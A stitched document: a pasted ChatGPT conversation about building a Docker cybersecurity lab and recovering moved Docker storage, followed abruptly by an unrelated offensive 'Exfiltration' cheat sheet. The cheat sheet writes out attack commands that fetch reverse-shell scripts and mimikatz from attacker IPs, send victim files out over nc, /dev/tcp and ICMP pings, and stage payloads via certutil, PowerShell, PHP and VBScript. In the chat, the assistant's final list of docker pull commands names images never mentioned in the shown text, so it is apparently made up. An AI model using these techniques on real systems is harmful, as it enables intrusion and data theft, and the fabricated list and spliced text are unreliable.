CVE Binary Tool: Developed by Intel, this tool scans binaries and system packages to identify known vulnerabilities based on version numbers. It's useful for pinpointing vulnerable software versions that you might want to install in Docker containers for testing purposes. CVEViz: This Python-based tool analyzes vulnerabilities associated with specific products by processing CVE List v5 JSON files. It generates plots that can aid in understanding the distribution and impact of vulnerabilities across different software versions. Explore CVEViz on I HAVE FOLLOWED YOUR ADVICE AND CLONE THESE REPOS .HOW DO I GO AHEAD AND DOWNLAOD NECESSARY DATA FOR VISUALIZAATION

ChatGPT said:

Great! Now that you've cloned CVE Binary Tool and CVEViz, you'll need to download the necessary vulnerability data to generate meaningful visualizations. Here’s how you can proceed for both tools:


You said:

what are other ways and tools that can help me in this discovery since i dont want to focus on everything but double down on a specific niche

ChatGPT said:

Memory updated

To specialize in a specific cybersecurity niche, you need tools tailored to that focus. Here are some key areas and tools that can help with vulnerability discovery and analysis:


1️⃣ Binary Analysis & Reverse Engineering

If you're interested in analyzing compiled software for vulnerabilities:

  • Ghidra (NSA’s reverse engineering tool)
  • Radare2 (Powerful command-line reverse engineering framework)
  • Cutter (GUI for Radare2)
  • Binwalk (Firmware analysis)
  • CVE Binary Tool (Scans binaries for known CVEs)

🔹 Ideal for: Finding vulnerabilities in software, analyzing malware, embedded systems security.


2️⃣ Web Application Security & Pentesting

For web-focused vulnerability discovery:

  • Burp Suite (Intercept and modify HTTP requests)
  • OWASP ZAP (Automated and manual web app testing)
  • SQLmap (Automates SQL injection detection)
  • Nikto (Web server vulnerability scanner)
  • FFUF (Fast web fuzzing for directories, subdomains, and parameters)

🔹 Ideal for: Web penetration testing, bug bounty hunting, API security.


3️⃣ Exploit Development

If you're into writing and testing exploits:

  • Metasploit Framework (Exploit database + automation)
  • Pwntools (Python framework for exploit dev)
  • ROPgadget (Return-Oriented Programming gadget finder)
  • GDB + PEDA (Debugger with exploit dev enhancements)

🔹 Ideal for: Buffer overflows, privilege escalation, writing exploits.


4️⃣ Network Security & Packet Analysis

If network-based vulnerabilities interest you:

  • Wireshark (Packet capture and analysis)
  • Tcpdump (Command-line packet sniffer)
  • Nmap (Network scanner & vulnerability detection)
  • Masscan (Internet-wide port scanning)
  • Bettercap (MITM attacks and network hacking)

🔹 Ideal for: Network penetration testing, traffic analysis, packet sniffing.


5️⃣ Vulnerability Intelligence & Threat Hunting

For tracking and visualizing vulnerabilities:

  • CVEViz (Visualize CVEs and affected software)
  • CVE Binary Tool (Scan software versions for known CVEs)
  • Shodan (Search for vulnerable devices on the internet)
  • Elastic Stack (ELK) (Centralized log analysis)
  • MITRE ATT&CK (Threat intelligence framework)

🔹 Ideal for: Threat intelligence, vulnerability management, monitoring trends.


6️⃣ Malware Analysis & Threat Research

If malware research is your focus:

  • Cuckoo Sandbox (Analyze malware in VMs)
  • YARA (Detect malware patterns)
  • Volatility (Memory forensics framework)
  • Hybrid Analysis (Cloud-based malware sandbox)

🔹 Ideal for: Reverse engineering malware, analyzing threats.


🔥 Choosing Your Niche

Now, based on your interests and goals, you can double down on one of these areas instead of spreading yourself too thin.

Do any of these categories stand out to you? Or do you need help picking a niche? 🚀

Try these steps and let me know what happens! 🚀

You said:

since the images at /home/data-docker is notfound can i delete everything and install the image from scratch

🔹 Solution: Move Docker Storage to Another Drive or Directory

You can change Docker’s storage location to another partition (like /home/mnt, or another disk) by modifying the Docker daemon configuration.


🔹 Step 1: Verify Current Storage Usage

Check how much space Docker is using:

sh

CopyEdit

du -sh /var/lib/docker

Check available disk space:

sh

CopyEdit

df -h

If your /home partition has more space, you can move Docker's storage there.


🔹 Step 2: Stop Docker Before Making Changes

sh

CopyEdit

systemctl stop docker


🔹 Step 3: Move Docker’s Storage to /home/docker-data

  1. Create a new directory in /home or another large partition:

    sh

    CopyEdit

    mkdir -p /home/docker-data

  2. Move existing Docker data to the new location:

    sh

    CopyEdit

    mv /var/lib/docker /home/docker-data/

  3. Create a symlink so Docker still finds the data:

    sh

    CopyEdit

    ln -s /home/docker-data/docker /var/lib/docker


🔹 Step 4: Configure Docker to Use the New Location

Instead of using a symlink, you can directly configure Docker to use a new data root.

  1. Edit or create the Docker daemon config file:

    sh

    CopyEdit

    mkdir -p /etc/docker nano /etc/docker/daemon.json

  2. Add the following content to set the new data directory:

    json

    CopyEdit

    { "data-root": "/home/docker-data" }

  3. Save and exit (Ctrl + X, then Y, then Enter).


🔹 Step 5: Restart Docker

sh

CopyEdit

systemctl daemon-reload systemctl start docker systemctl enable docker

Verify the new storage path:

sh

CopyEdit

docker info | grep "Docker Root Dir"

It should now show /home/docker-data.


🔹 Step 6: Free Up Space on the Root Partition

Run:

sh

CopyEdit

docker system prune -a

This removes unused images, containers, and volumes that are taking up space.


🔹 Alternative: Use an External Disk or Different Partition

If your home directory also has limited space, you can mount an external SSD/HDD and set Docker’s storage there.

  1. Format and mount an external disk (e.g., /mnt/docker-data).
  2. Follow Step 3 and Step 4 to change Docker’s data-root to /mnt/docker-data.

✅ Done!

Now Docker will store images and data in your home partition (or any directory you set), preventing / from filling up.

Would you like to also move Docker volumes to another partition? 🚀

You said:

will this affected sontainers i alreadey have spun up

ChatGPT said:

Yes, moving Docker's storage will affect running containers because:

  1. Existing containers are stored in /var/lib/docker, and moving this directory disconnects them from their original location.
  2. Any running containers will be stopped when you restart Docker.
  3. If you move the data properly, your containers should remain intact and can be restarted.

🔹 To Prevent Data Loss & Minimize Downtime

Follow these steps before moving Docker storage:

Step 1: Save Running Containers (Optional)

If you have important containers, commit them into images:

sh

CopyEdit

docker ps # Check running containers docker commit <container_id> backup_image_name

This saves your current container state as a new image.


Step 2: Stop All Running Containers

sh

CopyEdit

docker stop $(docker ps -q)

This stops all running containers before making changes.


Step 3: Move the Docker Data Directory

If you move /var/lib/docker correctly, existing containers and images should remain intact.

sh

CopyEdit

mv /var/lib/docker /home/docker-data ln -s /home/docker-data/docker /var/lib/docker


Step 4: Restart Docker and Verify Everything

sh

CopyEdit

systemctl daemon-reload systemctl start docker

Check if your containers are still available:

sh

CopyEdit

docker ps -a

If everything looks good, restart your old containers:

sh

CopyEdit

docker start <container_id>


🔹 What If Containers Are Missing?

If for some reason the containers don't show up, you may need to manually recreate them using their original docker run commands or re-import saved images from Step 1.

Would you like a script to automate this safely? 🚀

You said:

after doing this how do i ensure my images comtainers and config files in docker containers have not been affected

ChatGPT said:

After moving Docker's storage location, follow these steps to ensure that your images, containers, and configuration files remain intact:


🔹 Step 1: Verify That Docker is Using the New Storage Location

Run:

sh

CopyEdit

docker info | grep "Docker Root Dir"

It should output:

arduino

CopyEdit

Docker Root Dir: /home/docker-data

If this still shows /var/lib/docker, then Docker did not switch to the new location correctly.


🔹 Step 2: Check if All Images are Still Available

List your existing Docker images:

sh

CopyEdit

docker images

  • If your images show up, they are still intact.
  • If some are missing, you may need to check if the move was successful (ls -lah /home/docker-data).

🔹 Step 3: List All Containers

To check if your containers are still present:

sh

CopyEdit

docker ps -a

  • If your containers appear, try restarting them:

    sh

    CopyEdit

    docker start <container_id>

  • If your containers are missing, Docker might have reinitialized the storage directory instead of using the moved data. Double-check that the move was done correctly.


🔹 Step 4: Check If Running Containers Still Have Their Configurations

Some applications store their data inside volumes or inside their containers. Here’s how to check:

1️⃣ For Persistent Volumes (Mounted Data)

sh

CopyEdit

docker volume ls

  • If your volumes show up, they were not affected.
  • If they are missing, try remounting volumes manually.

2️⃣ Check Configuration Files Inside Containers

To verify that your app config files were not affected:

sh

CopyEdit

docker exec -it <container_id> cat /path/to/config/file

If the configuration file is missing or reset, check if it was stored in a Docker volume or inside the container’s filesystem.


🔹 Step 5: Test a Sample Container

Try running a quick test to ensure Docker still works fine:

sh

CopyEdit

docker run --rm hello-world

If this runs successfully, your setup is still functional.


🔹 Step 6: Check Docker Logs for Issues

If something doesn’t work, check Docker logs for errors:

sh

CopyEdit

journalctl -u docker --no-pager | tail -50

Look for storage-related errors, like missing directories or permissions issues.


🔹 Step 7: If Something is Missing, Roll Back

If your containers, images, or volumes are missing:

  1. Check if the old data still exists:

    sh

    CopyEdit

    ls -lah /var/lib/docker

  2. If necessary, restore the old path:

    sh

    CopyEdit

    mv /home/docker-data /var/lib/docker systemctl restart docker

  3. Then check again if everything is restored.


✅ Final Check

If all tests pass: ✔ Images are present (docker images)
✔ Containers are listed (docker ps -a)
✔ Config files are intact (docker exec -it <container_id> cat /config)
✔ Docker runs fine (docker run --rm hello-world)

You're good to go! 🚀 🎉


Would you like an automated script to verify everything at once?

You said:

whats a faster ,cheaper and safer way to move file other than than the mv command that maintains the file integrity and makes sure they are not corrupted

ChatGPT said:

faster, safer, and more reliable alternative to mv is using rsync. It provides integrity checksresumable transfers, and better performance.


🔹 Why rsync is Better than mv

✔ Verifies file integrity (uses checksums to ensure no corruption).
✔ Faster (only moves changed files instead of everything).
✔ Resumable (if the transfer is interrupted, you can restart it without losing progress).
✔ Safer (preserves permissions, ownership, timestamps).


🔹 Using rsync to Move Docker Data

Instead of:

sh

CopyEdit

mv /var/lib/docker /home/docker-data

Use:

sh

CopyEdit

rsync -aHAXv --progress /var/lib/docker/ /home/docker-data/

✅ Explanation of Flags:

  • -a → Archive mode (preserves permissions, symlinks, timestamps, etc.).
  • -H → Preserves hard links.
  • -A → Preserves ACLs (Access Control Lists).
  • -X → Preserves extended attributes.
  • -v → Verbose mode (shows progress).
  • --progress → Displays real-time progress of the transfer.

🔹 Ensuring Data Integrity

After copying, verify that all files match:

sh

CopyEdit

rsync -aHAXvn --progress /var/lib/docker/ /home/docker-data/

  • The -n flag simulates the copy to check if files are missing.
  • If no differences are shown, the transfer was successful.

🔹 Delete Old Files Only After Verifying

Once you've verified everything, delete the old Docker directory:

sh

CopyEdit

rm -rf /var/lib/docker

Then create a symlink:

sh

CopyEdit

ln -s /home/docker-data/docker /var/lib/docker


🚀 rsync vs mv Performance

✅ rsync is safer and resumable compared to mv.
✅ rsync is faster for large files because it copies only changed data.
✅ mv is instantaneous only when moving files within the same filesystem, but slow and risky when moving across partitions.


Would you like an automated script to handle this process for you? 🚀

You said:

give me a full lecture about symlink ,how they came to be and why they are important....be as comprehensive as possible

You said:

oot@Archie /home/dante # docker info | grep "Docker Root Dir" WARNING: bridge-nf-call-iptables is disabled WARNING: bridge-nf-call-ip6tables is disabled Docker Root Dir: /home/docker-data root@Archie /home/dante # docker ps -s root@Archie /home/dante # docker images REPOSITORY TAG IMAGE ID CREATED SIZE root@Archie /home/dante # ls -lah /home/docker-data total 56K drwx--x--- 13 root root 4.0K Feb 17 03:12 . drwxr-xr-x 5 root root 4.0K Feb 17 02:18 .. drwx--x--x 4 root root 4.0K Feb 17 03:12 buildkit drwx--x--- 2 root root 4.0K Feb 17 03:12 containers drwx--x--- 12 root root 4.0K Feb 16 23:52 docker -rw------- 1 root root 36 Feb 17 03:12 engine-idNO IMAGES SHOW UP ....HOW DO I TROUBLE SHHOT THIS

ChatGPT said:

If docker images is showing no images but your Docker Root Dir (/home/docker-data) exists, here are some steps to troubleshoot:


1️⃣ Check if Docker is Running Properly

Ensure the Docker daemon is running:

sh

CopyEdit

systemctl status docker

If it’s inactive or failed, restart it:

sh

CopyEdit

systemctl restart docker


2️⃣ Verify Storage Driver

Run:

sh

CopyEdit

docker info | grep "Storage Driver"

Common drivers:

  • overlay2 (Default on modern Linux)
  • aufs
  • btrfs
  • devicemapper

If the driver is incorrect or mismatched, it can cause issues.


3️⃣ Check if Images Exist in the Storage Location

Run:

sh

CopyEdit

ls -lah /home/docker-data/docker/overlay2/

If images exist, but docker images is empty, Docker may not be detecting them correctly.

Try:

sh

CopyEdit

docker system prune -a

Then pull a test image:

sh

CopyEdit

docker pull alpine docker images


4️⃣ Check If You Changed the Docker Root Dir Properly

If you recently changed Docker's data directory, it may not have properly migrated the images. To verify:

  1. Check the current storage path

    sh

    CopyEdit

    docker info | grep "Docker Root Dir"

    If it's not /home/docker-data, Docker is still using the old directory.

  2. Verify the old location Check if images exist in the default Docker storage (/var/lib/docker):

    sh

    CopyEdit

    ls -lah /var/lib/docker

  3. Fix the migration (if needed) If your images are in /var/lib/docker but Docker is now pointing to /home/docker-data, move them:

    sh

    CopyEdit

    systemctl stop docker mv /var/lib/docker/* /home/docker-data/ systemctl start docker


5️⃣ Check Docker Logs for Errors

Check logs to see if Docker encountered issues loading images:

sh

CopyEdit

journalctl -u docker --no-pager --since "1 hour ago"

or

sh

CopyEdit

docker info

Look for errors related to image storage or the overlay2 driver.


6️⃣ Try Restarting Docker and Reloading Metadata

sh

CopyEdit

systemctl stop docker rm -rf /home/docker-data/docker/network/files/local-kv.db systemctl start docker

Then check images again:

sh

CopyEdit

docker images


7️⃣ As a Last Resort: Reinstall Docker

If nothing else works:

sh

CopyEdit

apt-get remove --purge docker-ce docker-ce-cli containerd.io rm -rf /var/lib/docker rm -rf /home/docker-data apt-get install docker-ce docker-ce-cli containerd.io

Then pull a test image:

sh

CopyEdit

docker pull ubuntu docker images


Let me know what you've tried and what errors (if any) you see in the logs! 🚀

1/2

You said:

root@Archie /home/dante # l /var/lib/docker lrwxrwxrwx 1 root root 24 Feb 17 03:11 /var/lib/docker -> /home/docker-data/docker root@Archie /home/dante # docker info | grep "Storage Driver" WARNING: bridge-nf-call-iptables is disabled WARNING: bridge-nf-call-ip6tables is disabled Storage Driver: overlay2 root@Archie /home/dante # docker system df TYPE TOTAL ACTIVE SIZE RECLAIMABLE Images 0 0 0B 0B Containers 0 0 0B 0B

ChatGPT said:

It looks like Docker is not detecting any images or containers, even though you've correctly symlinked /var/lib/docker to /home/docker-data/docker. Here are some more steps to fix it:


1️⃣ Verify That Data Exists in the New Location

Since /var/lib/docker is a symlink, check if there are actual images and container data in /home/docker-data/docker:

sh

CopyEdit

ls -lah /home/docker-data/docker ls -lah /home/docker-data/docker/overlay2 ls -lah /home/docker-data/docker/containers

If these directories are empty or missing, Docker might have lost track of them.


2️⃣ Restart Docker to Reload the Metadata

sh

CopyEdit

systemctl restart docker docker images

If still empty, try:

sh

CopyEdit

docker system prune -a docker images


3️⃣ Ensure Docker Has Correct Permissions

If Docker cannot access the directory, it won’t load images or containers.

Run:

sh

CopyEdit

ls -ld /home/docker-data/docker

If it shows wrong permissions, fix it:

sh

CopyEdit

chown -R root:docker /home/docker-data/docker chmod -R 755 /home/docker-data/docker systemctl restart docker


4️⃣ Check Docker’s Database for Corruption

Docker stores metadata in local-kv.db, which may be corrupted.

Try deleting it:

sh

CopyEdit

systemctl stop docker rm -rf /home/docker-data/docker/network/files/local-kv.db systemctl start docker docker images


5️⃣ If You Recently Moved Docker Data, It Might Need Migration

If you moved Docker’s data manually and it’s not detecting anything, try forcing it to reload:

sh

CopyEdit

systemctl stop docker mv /home/docker-data/docker /home/docker-data/docker_backup mkdir /home/docker-data/docker systemctl start docker docker images

If it works, you can manually restore specific data from /home/docker-data/docker_backup.


6️⃣ Try Pulling a New Image

If Docker is not detecting anything, test pulling a new image:

sh

CopyEdit

docker pull alpine docker images

If the new image shows up, but your old ones are still missing, it means Docker isn't seeing the previous images, and they might need manual restoration.


7️⃣ Final Step: Check Logs for Errors

Run:

sh

CopyEdit

journalctl -u docker --no-pager --since "1 hour ago"

Look for errors related to:

  • Storage driver (overlay2) issues
  • Permission errors
  • Database corruption

Summary

  1. Check if /home/docker-data/docker/overlay2/ has actual image data.
  2. Restart Docker (systemctl restart docker).
  3. Fix permissions (chown -R root:docker).
  4. Remove the metadata DB (rm -rf local-kv.db).
  5. Test pulling a new image (docker pull alpine).
  6. Check logs (journalctl -u docker).

Let me know what you find! 🚀

You said:

If the new image shows up, but your old ones are still missing, it means Docker isn't seeing the previous images, and they might need manual restoration.this is thre issus aam experincinb......but new images are downloaded to the home direcory right ??

ChatGPT said:

Yes, new images are being stored correctly in /home/docker-data/docker, but Docker is not detecting your old ones. This means your old images still exist, but Docker is not recognizing them. You need to manually restore them.


🛠 How to Restore Old Docker Images

Since you recently changed the Docker root directory, try these steps to restore your old images.

1️⃣ Check if Old Images Still Exist

Run:

sh

CopyEdit

ls -lah /home/docker-data/docker_backup/overlay2/

If the directory contains subdirectories, your images are still there but not recognized.


2️⃣ Manually Move Old Data to the New Location

If old images are in /home/docker-data/docker_backup/, move them back:

sh

CopyEdit

systemctl stop docker mv /home/docker-data/docker_backup/* /home/docker-data/docker/ systemctl start docker docker images

Then check if they appear:

sh

CopyEdit

docker images


3️⃣ Force Docker to Reload Metadata

Since Docker tracks images using metadata, it may need a reset.

Try:

sh

CopyEdit

systemctl stop docker rm -rf /home/docker-data/docker/network/files/local-kv.db systemctl start docker

Then check images again:

sh

CopyEdit

docker images


Ensure Docker is looking in the right place:

sh

CopyEdit

ls -lah /var/lib/docker

It should show:

swift

CopyEdit

/var/lib/docker -> /home/docker-data/docker

If not, recreate the symlink:

sh

CopyEdit

rm -rf /var/lib/docker ln -s /home/docker-data/docker /var/lib/docker systemctl restart docker


5️⃣ Check Storage Driver

If your old images were stored using a different storage driver (e.g., aufs instead of overlay2), Docker won’t recognize them.

Check with:

sh

CopyEdit

docker info | grep "Storage Driver"

If the old data used aufs, but the new setup uses overlay2, you may need to manually extract the images and re-import them.


6️⃣ Manually Re-Import Lost Images

If nothing works, try loading them manually:

Export all running container images

If you have running containers that used old images, you can save them:

sh

CopyEdit

docker ps -a --format "{{.Image}}" | xargs -I {} docker save -o {}.tar {}

Then re-import:

sh

CopyEdit

docker load -i myimage.tar


💡 Summary

  • New images work, but old ones are missing.
  • Check if old images exist in /home/docker-data/docker_backup/overlay2/.
  • Move old data to /home/docker-data/docker/.
  • Force Docker to reload metadata (local-kv.db).
  • Recreate the symlink (/var/lib/docker -> /home/docker-data/docker).
  • Check storage driver mismatch (aufs vs. overlay2).
  • Manually re-import images (docker save + docker load).
ChatGPT said:

Yes, you can delete everything and start fresh by reinstalling your Docker images. Here's how you can do that:

1. Remove Existing Docker Containers and Images:

First, stop any running containers and remove all containers, images, and volumes. You can do this with the following steps:

Stop and Remove All Containers:

bash

CopyEdit

docker stop $(docker ps -aq) docker rm $(docker ps -aq)

This will stop and remove all running containers.

Remove All Docker Images:

bash

CopyEdit

docker rmi $(docker images -aq)

This will remove all Docker images. Make sure you're okay with losing all your images before proceeding.

Remove All Volumes (Optional):

If you want to remove volumes as well (which contain container data), run:

bash

CopyEdit

docker volume rm $(docker volume ls -q)

Clear Docker System (Optional):

You can also run this to remove unused images, containers, volumes, and networks:

bash

CopyEdit

docker system prune -a

2. Verify Deletion:

After the above steps, check if everything is cleared out:

bash

CopyEdit

docker ps -a docker images docker volume ls

These commands should show no containers, images, or volumes.

3. Reinstall Docker Images:

Now that your Docker setup is cleared, you can pull and install the necessary Docker images from scratch:

bash

CopyEdit

docker pull <image-name>

For example:

bash

CopyEdit

docker pull ubuntu

4. Verify Image Installation:

Once you’ve pulled the new images, verify they are available:

bash

CopyEdit

docker images

This should list the images you’ve just downloaded.

5. Restart Docker (Optional):

If you're still having issues, you can try restarting the Docker service to ensure everything is initialized properly:

bash

CopyEdit

sudo systemctl restart docker

Summary:

By removing all containers, images, and volumes, you effectively clear out the existing setup. You can then download the necessary images and start from scratch.

Let me know if you need more assistance!

You said:

Stop one or more running containers "docker rm" requires at least 1 argument. See 'docker rm --help'. Usage: docker rm [OPTIONS] CONTAINER [CONTAINER...] Remove one or more containers root@Archie ~/cyberlab/vulhub # docker stop $(docker ps -aq) docker rm $(docker ps -aq) root@Archie ~/cyberlab/vulhub # docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES root@Archie ~/cyberlab/vulhub # docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES root@Archie ~/cyberlab/vulhub # docker rmi $(docker images -aq) "docker rmi" requires at least 1 argument. See 'docker rmi --help'.

ChatGPT said:

It seems that you encountered an issue where no containers or images were found, so the docker rm and docker rmi commands failed.

Here’s how to troubleshoot and resolve it:

  1. Ensure Docker Is Running Properly: Check if Docker is running and has the necessary images and containers.

    bash

    CopyEdit

    docker info

    This will give you information about your Docker environment. If there are no containers or images, you’ll see empty results.

  2. Verify Existing Containers and Images: If there are no containers or images listed by docker ps -a and docker images, that’s why docker rm and docker rmi are not working.

    To make sure there are no lingering containers or images, you can try this to forcefully remove unused Docker data:

    bash

    CopyEdit

    docker system prune -a

    This command will remove stopped containers, unused networks, dangling images, and build cache. Be cautious, as this will delete all your Docker-related data.

  3. Manually Check the Docker Directory: If everything looks fine but you are still facing issues, you can manually inspect Docker’s image and container directories (they are typically stored under /var/lib/docker or /home/docker-data if you customized the Docker root directory).

    You can inspect the folders like this:

    bash

    CopyEdit

    ls /var/lib/docker ls /home/docker-data

  4. Pull Fresh Images: After clearing any residual data, you can try pulling new Docker images. For example:

    bash

    CopyEdit

    docker pull ubuntu

    Check if this new image shows up:

    bash

    CopyEdit

    docker images

If the problem persists, let me know and I can guide you further!

You said:

can i delete the directory at /home/docker-data and docker will jsut rebild it usoing the config we set up earlier

ChatGPT said:

Yes, you can delete the directory at /home/docker-data (which is currently being used as the Docker root directory), and Docker will rebuild the necessary files and directories upon the next start-up, using the configuration we set earlier. However, there are a few things to consider:

Steps to delete and rebuild Docker data:

  1. Stop Docker: Before deleting the directory, stop Docker to prevent any issues or data corruption.

    bash

    CopyEdit

    sudo systemctl stop docker

  2. Delete /home/docker-data: Once Docker is stopped, you can safely delete the directory.

    bash

    CopyEdit

    sudo rm -rf /home/docker-data

  3. Verify Docker Configuration: Ensure your Docker configuration points to /home/docker-data for the root directory. You can verify this in the Docker configuration file (/etc/docker/daemon.json). This should be the path we set earlier:

    json

    CopyEdit

    { "data-root": "/home/docker-data" }

  4. Start Docker Again: After deleting the directory and verifying the config, restart Docker.

    bash

    CopyEdit

    sudo systemctl start docker

    Docker will recreate the /home/docker-data directory and rebuild the necessary structure when it starts. Any images or containers that were previously stored will need to be re-pulled, as the data has been deleted.

  5. Re-pull Images: After Docker starts, you can re-pull any images that you need:

    bash

    CopyEdit

    docker pull <image-name>

Important Considerations:

  • Data Loss: Deleting the /home/docker-data directory will remove all your Docker images, containers, volumes, and other data. Be sure you have backups if necessary.
  • Rebuilding Containers: Docker will automatically recreate the required files, but all previously downloaded images and containers will be gone.

Let me know if you run into any issues during this process!

You said:

caan you go through this whole chat we have had and extract all docker pull commnds into one place like a list

ChatGPT said:

Here’s a list of all the docker pull commands from our chat:

  1. docker pull bento/ubuntu-insecure
  2. docker pull qsecure/bad-docker
  3. docker pull kalilinux/kali-linux-docker
  4. docker pull cve-bin-tool/cve-bin-tool
  5. docker pull docker.elastic.co/elasticsearch/elasticsearch:7.10.1
  6. docker pull docker.elastic.co/kibana/kibana:7.10.1
  7. docker pull docker.elastic.co/logstash/logstash:7.10.1
  8. docker pull traefik:v2.4
  9. docker pull nginx:latest
  10. docker pull kali/vega
  11. docker pull docker.io/owasp/zap2docker-stable

These are all the docker pull commands we've discussed throughout the chat. Let me know if you need any additional details!

Exfiltration Reading time: 9 minutes

Commonly whitelisted domains to exfiltrate information Check https://lots-project.com/ to find commonly whitelisted domains that can be abused

Copy&Paste Base64 Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

`` Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf 
#PS 
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output 
#OR 
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Upload files SimpleHttpServerWithFileUploads SimpleHttpServer printing GET and POSTs (also headers) Python module uploadserver:

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

HTTPS Server

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
    print(request.get_json())
    return "OK"
if __name__ == "__main__":
    app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP FTP server (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

FTP server (NodeJS)


sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

FTP server (pure-ftp)

apt-get update && apt-get install pure-ftp
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows client

```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB Kali as server

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder

#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Or create a smb share using samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
    comment = Samba on Ubuntu
    path = /tmp/smb
    read only = no
    browsable = yes
    guest ok = Yes
#Start samba
service smbd restart

Windows

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP The attacker has to have SSHd running.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS If the victim has SSH, the attacker can mount a directory from the victim to the attacker.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp Download file from victim

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Upload file to victim

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker

# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

thanks to @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 0:
            data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
            print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP If you can send data to an SMTP server, you can create an SMTP to receive the data with python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP By default in XP and 2003 (in others it needs to be explicitly added during installation)

In Kali, start TFTP server:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
TFTP server in python:
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
In victim, connect to the Kali server:

tftp -i <KALI-IP> get nc.exe
PHP
Download a file with a PHP oneliner:
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Attacker> python -m SimpleHTTPServer 80

Victim

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
